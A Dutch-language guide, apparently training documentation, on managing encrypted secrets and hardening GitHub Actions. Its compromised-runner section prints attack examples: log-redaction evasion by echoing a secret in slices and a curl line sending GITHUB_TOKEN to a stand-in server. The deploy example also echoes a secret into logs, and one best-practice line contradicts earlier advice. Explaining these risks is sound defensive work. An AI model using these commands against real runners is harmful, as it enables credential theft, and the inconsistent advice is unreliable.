Versleutelde geheimen beheren

4 minuten

Geheimen zijn versleutelde omgevingsvariabelen waarmee tokens, referenties en andere gevoelige informatie worden opgeslagen. Uw GitHub Actions-werkstromen en -acties kunnen deze geheimen gebruiken wanneer dat nodig is. Na het maken worden geheimen toegankelijk voor werkstromen en acties die gemachtigd zijn voor toegang tot de organisatie, opslagplaats of omgeving waarin de geheimen zijn gedefinieerd.

In deze sectie wordt uitgelegd hoe u versleutelde geheimen beheert met behulp van hulpprogramma's en strategieën in GitHub Enterprise Cloud en GitHub Enterprise Server. U leert ook hoe u deze geheimen gebruikt in uw werkstromen en acties.

Versleutelde geheimen in de onderneming beheren

Met GitHub Actions kunt u gevoelige gegevens, zoals API-sleutels, verificatietokens, wachtwoorden en certificaten, veilig opslaan en gebruiken via versleutelde geheimen. Deze geheimen worden veilig opgeslagen en opgenomen in werkstromen. Dit ontwerp zorgt ervoor dat ze niet worden weergegeven in logboeken of broncode.

In een bedrijfsomgeving is effectief geheimbeheer essentieel. Het helpt bij het onderhouden van beveiliging, het voldoen aan nalevingsvereisten en het ondersteunen van operationele efficiëntie. Met GitHub kunt u geheimen op vier niveaus beheren: onderneming, organisatie, opslagplaats en omgeving.

Bereik van versleutelde geheimen

Inzicht in het bereik van geheimen is essentieel voor het veilig beheren ervan in een bedrijfsomgeving.

Geheimniveau	Omvang	Wie heeft toegang tot	Veelvoorkomende gebruiksvoorbeelden
Enterprise-Level geheimen	Van toepassing op alle opslagplaatsen in een GitHub Enterprise Cloud-organisatie.	Bedrijfseigenaren, beveiligingsbeheerders	Referenties delen in meerdere opslagplaatsen.
Organization-Level Geheimen	Van toepassing op alle opslagplaatsen in een organisatie; optioneel beperken tot geselecteerde opslagplaatsen.	Eigenaren van organisaties, beveiligingsbeheerders	Toegang tot cloudservices en gedeelde databases.
Repository-Level geheimen	Alleen van toepassing op één opslagplaats.	Beheerders van opslagplaatsen, workflow uitvoerders	Beveilig referenties voor implementatie in één opslagplaats.
Environment-Level geheimen	Van toepassing op specifieke implementatieomgevingen binnen een opslagplaats, zoals fasering of productie.	Werkstroomlopers in de opgegeven omgeving	Scheid referenties per implementatieomgeving.

Belangrijke overwegingen:

Bedrijfsgeheimen zijn exclusief voor GitHub Enterprise Cloud en ondersteunen gecentraliseerd beheer binnen een organisatie.
Organisatiegeheimen bieden fijnmazig toegangsbeheer en kunnen worden beperkt tot specifieke opslagplaatsen.
Omgevingsgeheimen helpen onbedoelde blootstelling te voorkomen door de toegang tot werkstroomomgevingen te beperken.

Versleutelde geheimen beheren op organisatieniveau

Met het maken van versleutelde geheimen op organisatieniveau kunt u gevoelige informatie beveiligen terwijl u minder moeite hoeft te doen om geheimen in meerdere opslagplaatsen te beheren.

Sommige ontwikkelaars die werkstromen schrijven in uw GitHub-organisatie hebben bijvoorbeeld de referenties nodig om code te implementeren in een aantal van hun werkstromen. Om te voorkomen dat u deze gevoelige informatie deelt, kunt u een versleuteld geheim maken met de referenties op organisatieniveau. Op deze manier kunnen de inloggegevens in de werkstromen worden gebruikt zonder blootgesteld te worden.

Als u een geheim op organisatieniveau wilt maken, gaat u naar de instellingen van uw organisatie en selecteert u in de zijbalk . Voer in het scherm dat wordt weergegeven een naam en een waarde in en kies een toegangsbeleid voor de opslagplaats voor uw geheim:

Nieuw geheimscherm voor organisaties.

Zodra het toegangsbeleid is opgeslagen, wordt het toegangsbeleid weergegeven onder het geheim in de lijst:

Voorbeeld van versleutelde geheimen met toegangsbeleid weergegeven.

U kunt Bijwerken selecteren voor meer informatie over de geconfigureerde machtigingen voor uw geheime informatie.

Versleutelde Organization-Level geheimen beheren met GitHub CLI

Maak een geheim voor een organisatie:

gh secret set SECRET_NAME --org my-org --body "super-secret-value"

Alle organisatiegeheimen weergeven:
```
gh secret list --org my-org
```

Een bestaand geheim bijwerken:

gh secret set SECRET_NAME --org my-org --body "new-secret-value"

Een geheim verwijderen:

gh secret delete SECRET_NAME --org my-org

Beveiligingsoverwegingen voor organisatiegeheimen

Beperk geheimen tot specifieke opslagplaatsen in plaats van standaard toegang te verlenen tot alle opslagplaatsen.
Implementeer op rollen gebaseerd toegangsbeheer (RBAC) om ervoor te zorgen dat alleen geautoriseerde teamleden geheimen kunnen maken, bijwerken of verwijderen.
Bewaak regelmatig toegangslogboeken om onbevoegd gebruik of verdachte activiteiten te identificeren en erop te reageren.

Versleutelde geheimen beheren op het niveau van de opslagplaats

Als u een geheim wilt opgeven voor een specifieke opslagplaats, gebruikt u GitHub Enterprise Cloud of GitHub Enterprise Server.

Een geheim op opslagplaatsniveau maken

Navigeer naar de instellingen van de opslagplaats.
SelecteerGeheimen en variabelenacties > en vervolgens nieuw opslagplaatsgeheim.
Voer een naam en waarde in voor het geheim.

Nieuw geheimscherm voor opslagplaatsen.

Versleutelde geheimen op opslagplaatsniveau beheren via CLI

Opslagplaatsgeheimen weergeven:
```
gh secret list --repo my-repo
```

Een opslagplaatsgeheim bijwerken:

gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"

Een opslagplaatsgeheim verwijderen:

gh secret delete SECRET_NAME --repo my-repo

Versleutelde geheimen openen binnen acties en werkstromen

In werkstromen

Toegang tot geheimen met behulp van de secrets context. with Gebruik dit om het geheim door te geven als invoer of env om het in te stellen als een omgevingsvariabele.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

Gebruik with:Geef het geheim door als invoerparameter aan de actie. Deze methode wordt vaak gebruikt wanneer de actie expliciet invoer in de action.ymlinvoer definieert.
Gebruik :Het env geheim beschikbaar maken als een omgevingsvariabele voor de stap. Deze methode is handig wanneer de opdracht in de stap of een script in de actie een omgevingsvariabele verwacht.

In acties

Als u geheimen in een aangepaste actie wilt gebruiken, definieert u deze als invoer in het action.yml metagegevensbestand en opent u ze als omgevingsvariabelen in de actiecode.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

Definieer in action.yml:Geef het geheim op als vereiste of optionele invoer.
Toegang in code:Lees het geheim met behulp van de Actions Toolkit (aanbevolen) of door te verwijzen naar omgevingsvariabelen als deze zijn ingesteld.

Waarschuwing

Vermijd het hardcoderen van geheimen in de broncode van acties. Als u invoer en geheimen veilig wilt beheren, gebruikt u de Actions Toolkit voor het verwerken van waarden in uw codelogica.

Configureren van beveiligingsverharding voor GitHub Actions

Beveiligingsmaatregelen voor GitHub Actions spelen een rol bij het beveiligen van uw software-toeleveringsketen. In de volgende secties wordt u begeleid bij aanbevolen procedures om de beveiliging van de acties die u gebruikt in uw werkstromen te versterken.

Best practices identificeren voor het beperken van scriptinjectieaanvallen

Enkele aanbevolen procedures voor het beperken van scriptinjectieaanvallen op GitHub-acties zijn:

JavaScript-acties gebruiken in plaats van inlinescripts: Gebruik Javascript-acties die contextwaarden accepteren als argumenten in plaats van deze waarden in te sluiten in inlinescripts. Deze aanpak vermindert het risico op scriptinjectie omdat de contextgegevens niet worden gebruikt om shell-opdrachten rechtstreeks te genereren of uit te voeren.

Het doorgeven van een variabele als invoer aan een JavaScript-actie helpt voorkomen dat deze wordt gebruikt bij een scriptinjectieaanval.
```
 uses: fakeaction/checktitle@v3
 with:
   title: ${{ github.event.pull_request.title }} 
```
Gebruik tussenliggende omgevingsvariabelen in inlinescripts: wanneer u inlinescripts gebruikt, evalueert u variabelen als omgevingsvariabelen voordat u ze in opdrachten gebruikt. Deze methode zorgt ervoor dat de waarden worden opgelost voordat het script wordt uitgevoerd, waardoor het risico op scriptinjectie wordt verminderd. Als u bijvoorbeeld als omgevingsvariabele gebruikt, github.event.pull_request.title kunt u bescherming bieden tegen beveiligingsproblemen met injectie:
```
- name: Check PR title
    env:
      TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
      else
      echo "PR title did not start with 'octocat'"
      exit 1
      fi
```
Maak gebruik van werkstroomsjablonen om codescans te implementeren: navigeer naar het tabblad Acties van de opslagplaats en selecteer de knop Nieuwe werkstroom in het linkerdeelvenster. Zoek op de pagina Een werkstroom kiezende sectieBeveiliging om werkstroomsjablonen te openen en toe te passen.

Configureer de CodeQL-scanner om te worden uitgevoerd bij specifieke gebeurtenissen, zodat deze de bestanden van een vertakking kan scannen en blootstellingen aan CWE's (Common Weakness Enumerations) kan markeren in acties die worden gebruikt in werkstromen, waaronder beveiligingsproblemen zoals scriptinjectie.
Machtigingen voor tokens beperken: Zorg ervoor dat u altijd rule of least privilege toepast op elk aangemaakt token. Met andere woorden, zorg ervoor dat het token de minimale bevoegdheden krijgt om de taak te bereiken waarvoor het is gemaakt.

Aanbevolen procedures voor veilig gebruik van acties van derden

Volg deze aanbevolen procedures om veilig acties van derden op te nemen in uw werkstromen:

Acties alleen vastmaken aan een tag als de auteur wordt vertrouwd Gebruik versietags zoals v1 of v2, alleen wanneer de auteur van de actie is geverifieerd en vertrouwd. Deze actie helpt het risico op onverwachte wijzigingen in toekomstige releases te verminderen.
```
- name: Checkout
  uses: actions/checkout@v4  # Pinned to a specific version tag
```
Liever acties vastmaken aan een volledige doorvoer-SHA Door vast te maken aan een volledige doorvoer-SHA, zorgt u ervoor dat u een onveranderbare versie van de actie gebruikt. Controleer altijd of de doorvoer-SHA afkomstig is van de verwachte opslagplaats.
```
- name: Checkout
  uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
```
De broncode van de actie controleren Controleer de bron van de actie om te bevestigen dat deze gegevens veilig verwerkt en bevat geen onverwacht of schadelijk gedrag.

Indicatoren van een betrouwbare actie van derden

Gebruik vertrouwde acties om het risico in uw werkstromen te verminderen.

Zoek naar de geverifieerde badge: Betrouwbare acties worden weergegeven in de GitHub Marketplace en geven een badge Geverifieerde maker weer naast de titel die u informeert dat de maker is geverifieerd door GitHub.
Raadpleeg de documentatie: Het action.yml bestand moet goed worden gedocumenteerd en duidelijk beschrijven hoe de actie werkt.

Schermopname van de GitHub Marketplace-interface voor het beheren van versleutelde geheimen.

Updates van de Dependabot-versie gebruiken om acties up-to-date te houden

Schakel updates van de Dependabot-versie in om uw GitHub Actions-afhankelijkheden automatisch actueel en veilig te houden.

Mogelijke impact van een gecompromitteerde runner

In deze sectie worden mogelijke aanvalsvectoren beschreven die kunnen worden misbruikt als een runner wordt aangetast.

Exfiltratie van gegevens van een runner

Hoewel GitHub Actions automatisch geheimen uit logboeken redigeert, is deze redactie geen volledige beveiligingsmaatregel. Als een runner is gecompromitteerd, kan een aanvaller opzettelijk geheimen beschikbaar maken door ze af te drukken in het logboek. Voorbeeld:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

Een gecompromitteerde runner kan ook worden gebruikt om geheimen of andere gevoelige opslagplaatsgegevens door te sturen naar een externe server met behulp van gescripte HTTP-aanvragen.

Toegang tot geheimen

Werkstromen die worden geactiveerd vanuit geforkte opslagplaatsen met behulp van de pull_request gebeurtenis hebben alleen-lezenmachtigingen en hebben geen toegang tot geheimen. Machtigingen variëren echter, afhankelijk van het gebeurtenistype, zoals issue_comment, issuespushof pull_request van een vertakking binnen dezelfde opslagplaats. Als een runner gecompromitteerd is, bestaat er een risico dat geheimen van de repository blootgelegd kunnen worden of dat een taak GITHUB_TOKEN met schrijfmachtigingen misbruikt kan worden.

Als een geheim of token is toegewezen aan een omgevingsvariabele, kan het rechtstreeks worden geopend met behulp van printenv.
Als er rechtstreeks in een expressie naar een geheim wordt verwezen, wordt het gegenereerde shellscript met de opgeloste waarde opgeslagen op schijf en is het mogelijk toegankelijk.
Voor aangepaste acties is het risiconiveau afhankelijk van hoe het geheim binnen de logica van de actie wordt verwerkt. Voorbeeld:

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

Hoewel GitHub Actions geheimen uit het geheugen verwijdert als er niet naar wordt verwezen in de workflow of opgenomen acties, lopen de GITHUB_TOKEN en actief gebruikte geheimen nog steeds het risico om te worden geoogst als de runner in gevaar wordt gebracht.

Een baan stelen `GITHUB_TOKEN`

Een aanvaller kan mogelijk de inhoud van een baan GITHUB_TOKEN stelen. GitHub Actions verstrekt automatisch dit token met beperkte machtigingen voor de repository waarop de werkstroom wordt uitgevoerd. Het token verloopt zodra de taak is voltooid en kan daarna niet opnieuw worden gebruikt.

Een gecompromitteerde runner kan echter worden gebruikt om het token direct bij de uitvoering van de taak te exfiltreren. Een aanvaller kan een aanvraag automatiseren naar een server die hij beheert om het token vast te leggen voordat het verloopt. Voorbeeld:

curl http://example.com?token=$GITHUB_TOKEN

Wijziging van de inhoud van de opslagplaats

Als een GITHUB_TOKEN wordt gestolen, kan een systeem dat door een aanvaller wordt beheerd het gebruiken om de GitHub-API aan te roepen en de inhoud van de repository te wijzigen.

Het toepassen van het principe van minimale bevoegdheden op de machtigingen van het token helpt dit risico te verminderen. Beperk de toegang van het token tot alleen wat nodig is voor de taak.

Toegang tot meerdere opslagplaatsen beheren

Wanneer werkstromen toegang nodig hebben tot meerdere opslagplaatsen, is het belangrijk om referenties te kiezen die beveiligingsrisico's minimaliseren. Enkele van de aanbevolen opties die van de meeste naar de minst voorkeur worden vermeld, zijn:

GITHUB_TOKEN

GitHub genereert automatisch de GITHUB_TOKEN voor elke werkstroomuitvoering. Het bereik is gericht op de enkele opslagplaats die de werkstroom activeert en machtigingen biedt die gelijkwaardig zijn aan een gebruiker voor schrijftoegang in die opslagplaats. Het token wordt gemaakt aan het begin van elke taak en verloopt wanneer de taak is voltooid.

Gebruik GITHUB_TOKEN waar mogelijk voor beveiligde en gecontextualiseerde verificatie. Zie Automatische tokenverificatie voor meer informatie.
Implementatiesleutel voor opslagplaats

Als u Git in workflows wilt klonen of pushen, gebruikt u implementatiesleutels die lees- of schrijftoegang bieden tot één opslagplaats.

Implementatiesleutels bieden echter geen ondersteuning voor toegang tot de REST- of GraphQL-API's van GitHub. Gebruik ze alleen als API-toegang niet vereist is en Git-toegang voldoende is.

GitHub-app-tokens

GitHub Apps bieden verfijnde machtigingen en kunnen worden geïnstalleerd op geselecteerde opslagplaatsen. U kunt een interne GitHub-app maken, deze installeren op de vereiste opslagplaatsen en authenticeren als de app-installatie binnen uw workflow voor toegang tot deze opslagplaatsen.

Deze aanpak biedt betere toegangsbeheer en controle vergeleken met persoonlijke tokens.

Persoonlijke toegangstokens (PAT's)

Vermijd het gebruik van klassieke persoonlijke toegangstokens in werkstromen. Deze tokens bieden brede toegang tot alle persoonlijke en organisatieopslagplaatsen die zijn gekoppeld aan de gebruiker, wat een aanzienlijk risico met zich meebrengt. Als de werkstroom wordt uitgevoerd in een opslagplaats met meerdere inzenders, nemen alle gebruikers met schrijftoegang de bevoegdheden van dat token effectief over.

Als u een persoonlijk token moet gebruiken, maakt u een fijnmazige PAT die is gekoppeld aan een toegewezen organisatieaccount. Beperk de toegang tot alleen de specifieke opslagplaatsen die vereist zijn voor de werkstroom.

Opmerking

Deze aanpak is moeilijk te schalen en wordt het beste vermeden ten gunste van implementatiesleutels of GitHub-apps.

Schermopname van een knop voor het genereren van een nieuw persoonlijk GitHub-toegangstoken.

SSH-sleutels voor persoonlijke accounts

Gebruik nooit SSH-sleutels van persoonlijke accounts in werkstromen. Net als klassieke PAT's verlenen ze toegang tot alle opslagplaatsen die zijn gekoppeld aan het account, inclusief persoonlijke en organisatieopslagplaatsen. Deze fout maakt werkstromen bloot aan onnodig risico.

Als uw use-case betrekking heeft op klonen of pushen via Git, kunt u in plaats daarvan implementatiesleutels gebruiken. Ze bieden beperkte toegang zonder niet-gerelateerde opslagplaatsen bloot te stellen of persoonlijke inloggegevens te vereisen.

GitHub Action-gebeurtenissen controleren

Het type actie, toen deze werd uitgevoerd en welk persoonlijk account de actie uitvoerde, worden vastgelegd in het 'beveiligingslogboek' en het 'auditlogboek'. In het beveiligingslogboek worden gebeurtenissen vastgelegd die betrekking hebben op uw gebruikersaccount. In het auditlogboek worden gebeurtenissen vastgelegd die betrekking hebben op uw organisatie. Door beide logboeken te bekijken, kunt u gebeurtenissen met betrekking tot Github-acties controleren.

OIDC gebruiken met GitHub Actions

U kunt werkstromen configureren om rechtstreeks met een cloudprovider te verifiëren met behulp van OIDC (OpenID Connect). In dit geval is het niet meer nodig om referenties op te slaan als geheimen.

Attestations voor artefacten voor GitHub Actions

Artefactverklaringen helpen bij het vaststellen van de herkomst van builds, het verbeteren van de beveiliging van de softwareleveringsketen door te controleren wat er is gebouwd, waar en hoe.

Wat u moet attesteren

Met GitHub Actions kunt u de herkomst van builds en SBOM (Software Bill of Materials) voor binaire bestanden en containerimages aantonen.

Artefactattestaties genereren voor builds

Wanneer u een attestation voor artefacten voor builds genereert, moet u het volgende controleren:

U hebt de juiste machtigingen geconfigureerd in de werkstroom
U hebt een stap opgenomen in uw workflow die gebruikmaakt van de attest-build-provenance-actie.

De attestation brengt de build-herkomst vast. U kunt attestations weergeven op het tabblad Acties van de opslagplaats.

Schermopname van de attestations-configuratie in GitHub met betrekking tot het beheren van versleutelde geheimen.

Een attestation genereren voor de build-herkomst van binaire bestanden

U moet de volgende machtigingen toevoegen aan de werkstroom waarmee het binaire bestand wordt gebouwd waarvoor u wilt attesteren:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
```

U moet de volgende stap toevoegen na de stap waarin het binaire bestand is gebouwd:

  - name: Generate artifact attestation
    uses: actions/attest-build-provenance@v2
    with:
     subject-path: 'PATH/TO/ARTIFACT'

Opmerking

Houd er rekening mee dat de waarde van de subject-path-parameter is ingesteld op het pad van het binaire bestand dat u geattesteerd hebt.

Een attestation genereren voor de build-provenance van containerafbeeldingen

Voeg de volgende machtigingen toe aan de werkstroom die de containerafbeeldingen bouwt:

permissions:
  id-token: write
  contents: read
  attestations: write
  packages: write

Voeg deze stap toe nadat u de containerafbeelding hebt gebouwd:
```
- name: Generate artifact attestation
  uses: actions/attest-build-provenance@v2
  with:
    subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
    subject-digest: 'sha256:fedcba0...'
    push-to-registry: true
```
Opmerking
- De subject-name waarde moet een volledig gekwalificeerde afbeeldingsnaam zijn, zoals ghcr.io/user/app of acme.azurecr.io/user/app. Voeg geen tag toe.
- Het subject-digest moet een SHA256-samenvatting van de afbeelding zijn, in de indeling sha256:HEX_DIGEST.
- Als uw werkstroom gebruikmaakt van docker/build-push-action, kunt u de digest ophalen uit de uitvoer. Raadpleeg de werkstroomsyntaxis voor GitHub Actions voor meer informatie.

Attestations genereren voor SBOM's

U hebt de mogelijkheid om SBOM-verklaringen te genereren voor een SBOM. Als u een SBOM wilt genereren en attesteren, moet u de volgende stappen uitvoeren:

Zorg ervoor dat u de juiste machtigingen in de werkstroom instelt, zoals wordt weergegeven in de voorbeelden.
Je moet een SBOM genereren voor het artefact in een stap in de workflow. Zie bijvoorbeeld anchore-sbom-action in GitHub Marketplace.
Neem een stap op in uw werkstroom die gebruikmaakt van de attest-sbom-actie (zie de onderstaande voorbeelden)

Een SBOM-attestation genereren voor binaire bestanden

Voeg de volgende machtigingen toe aan de werkstroom waarmee het binaire bestand wordt gebouwd waarvoor u een SBOM-attestation genereert:
```
    permissions:
     id-token: write
     contents: read
     attestations: write
```

Voeg de volgende stap toe na de stappen waarin het binaire bestand is gebouwd en SBOM is gegenereerd:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-path: 'PATH/TO/ARTIFACT'
      sbom-path: 'PATH/TO/SBOM'

Houd er rekening mee dat de waarde van de subject-path parameter moet worden ingesteld op het pad van het binaire bestand dat door de SBOM wordt beschreven. De waarde van de sbom-path parameter moet worden ingesteld op het pad van het SBOM-bestand dat u hebt gegenereerd.

Een SBOM-attestatie genereren voor containerafbeeldingen

U moet de volgende machtigingen toevoegen aan de werkstroom waarmee het binaire bestand wordt gebouwd waarvoor u een SBOM-attestation genereert:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
    packages: write
```

U moet de volgende stap toevoegen na de stappen waarin het binaire bestand is gebouwd en SBOM is gegenereerd:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
      subject-digest: 'sha256:fedcba0...'
      sbom-path: 'sbom.json'
      push-to-registry: true

Houd er rekening mee dat de waarde van de subject-name parameter de volledig gekwalificeerde naam van de image specificeert. Een voorbeeld hiervan is ghcr.io/user/app of acme.azurecr.io/user/app. Voeg geen tag toe als onderdeel van de afbeeldingsnaam.

De waarde van de subject-digest parameter moet worden ingesteld op de SHA256 samenvatting van het onderwerp voor de attestation, in de vorm sha256:HEX_DIGEST. Als uw werkstroom gebruikmaakt van docker/build-push-action, kunt u de digest-uitvoer van die stap gebruiken om de waarde te leveren (zie build-push-action). Zie werkstroomsyntaxis voor GitHub Actions voor meer informatie over het gebruik van uitvoer.

De waarde van de sbom-path parameter moet worden ingesteld op het pad naar het SBOM-bestand met JSON-indeling waarvoor u wilt attesteren.

Attestations voor artefacten verifiëren met de GitHub CLI

U kunt de attestations voor artefacten valideren die hierboven worden beschreven met behulp van de GitHub CLI. Zie de sectie Attestation van de GitHub CLI-handleiding voor meer informatie.

Waarschuwing

Het is belangrijk te onthouden dat attestations voor artefacten geen garantie zijn dat een artefact veilig is. In plaats daarvan koppelen artefactverificaties u aan de broncode en de buildinstructies die hen hebben voortgebracht. Het is aan u om uw beleidscriteria te definiëren, dat beleid te evalueren door de inhoud te evalueren en een weloverwogen risicobeslissing te nemen wanneer u software gebruikt.

Versleutelde geheimen openen binnen acties en werkstromen

Voorbeeld: Een geheim gebruiken in een werkstroom

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

Aanbevolen procedures voor het gebruik van geheimen in werkstromen

Geen geheimen afdrukken in logboeken met behulp van echo ${{ secrets.SECRET_NAME }}.
Gebruik geheimen in scriptopdrachten in plaats van ze toe te wijzen aan omgevingsvariabelen.
Beperk de toegang door geheimen te definiëren op het laagste vereiste niveau.
Roteer wachtwoorden regelmatig en werkstromen dienovereenkomstig bij.

Hoe kluizen van derden te gebruiken

Veel ondernemingen integreren GitHub Actions met externe oplossingen voor geheimbeheer , zoals HashiCorp Vault, AWS Secrets Manager en Azure Key Vault.

1. HashiCorp Vault

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS (Amazon Web Services) Secrets Manager

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

Voordelen van het gebruik van kluizen van derden

Gecentraliseerd geheimbeheer vermindert beveiligingsrisico's.
Geautomatiseerde geheimrotatie helpt te voldoen aan beveiligingsbeleid.
Auditlogboeken en toegangsbeheer verbeteren de beveiligingsbewaking.
Toegang met minimale bevoegdheden voorkomt onbevoegd gebruik van geheimen.

Feedback

Is deze pagina nuttig?

Versleutelde geheimen beheren

Versleutelde geheimen in de onderneming beheren

Bereik van versleutelde geheimen

Versleutelde geheimen beheren op organisatieniveau

Versleutelde Organization-Level geheimen beheren met GitHub CLI

Beveiligingsoverwegingen voor organisatiegeheimen

Versleutelde geheimen beheren op het niveau van de opslagplaats

Een geheim op opslagplaatsniveau maken

Versleutelde geheimen op opslagplaatsniveau beheren via CLI

Versleutelde geheimen openen binnen acties en werkstromen

In werkstromen

In acties

Configureren van beveiligingsverharding voor GitHub Actions

Best practices identificeren voor het beperken van scriptinjectieaanvallen

Aanbevolen procedures voor veilig gebruik van acties van derden

Indicatoren van een betrouwbare actie van derden

Updates van de Dependabot-versie gebruiken om acties up-to-date te houden

Mogelijke impact van een gecompromitteerde runner

Exfiltratie van gegevens van een runner

Toegang tot geheimen

Een baan stelen GITHUB_TOKEN

Wijziging van de inhoud van de opslagplaats

Toegang tot meerdere opslagplaatsen beheren

GitHub Action-gebeurtenissen controleren

OIDC gebruiken met GitHub Actions

Attestations voor artefacten voor GitHub Actions

Wat u moet attesteren

Artefactattestaties genereren voor builds

Een attestation genereren voor de build-herkomst van binaire bestanden

Een attestation genereren voor de build-provenance van containerafbeeldingen

Attestations genereren voor SBOM's

Een SBOM-attestation genereren voor binaire bestanden

Een SBOM-attestatie genereren voor containerafbeeldingen

Attestations voor artefacten verifiëren met de GitHub CLI

Versleutelde geheimen openen binnen acties en werkstromen

Voorbeeld: Een geheim gebruiken in een werkstroom

Aanbevolen procedures voor het gebruik van geheimen in werkstromen

Hoe kluizen van derden te gebruiken

1. HashiCorp Vault

2. AWS (Amazon Web Services) Secrets Manager

3. Azure Key Vault

Voordelen van het gebruik van kluizen van derden

Feedback

Een baan stelen `GITHUB_TOKEN`